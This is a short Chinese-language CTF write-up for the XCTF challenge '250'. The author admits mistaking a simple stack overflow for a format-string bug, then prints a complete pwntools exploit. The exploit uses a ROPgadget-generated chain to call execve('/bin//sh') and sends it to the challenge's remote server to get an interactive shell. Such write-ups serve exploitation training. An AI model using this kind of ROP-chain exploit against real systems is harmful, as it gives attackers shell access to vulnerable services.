XCTF-250-WP

这个 print
,不仔细看怎么看的出来!(这个v4我愚蠢地以为是识别错误)浪费我半个小时想到底怎么用fmt利用!更可气的是xctf上还没什么人做,让我以为很难,又是什么我没学过的高级利用,点开 print
一看,好嘛,就是这么简单枯燥的一个栈溢出!

程序是静态链接的,所以考虑ROPgadget直接生成ropchain
exp
#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806efbb) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b89e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806efbb) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b89e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806efbb) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080493a3) # xor eax, eax ; ret
p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df1b9) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806efbb) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080493a3) # xor eax, eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0804e7d2) # inc eax ; ret
p += pack('<I', 0x0806cbb5) # int 0x80
p = 'a' * 0x3A + 'a' * 0x4 + p
#sh = process("./250")
sh = remote("220.249.52.134","35508")
sh.sendlineafter("Size]",str(len(p)))
sh.sendlineafter("Data]",p)
sh.interactive()
后记
好吧,牢骚归牢骚,其实本题还是给了我一个提醒的,就是要仔细看代码,不能一扫而过。250的名字取得很好,我现在确实觉得自己是250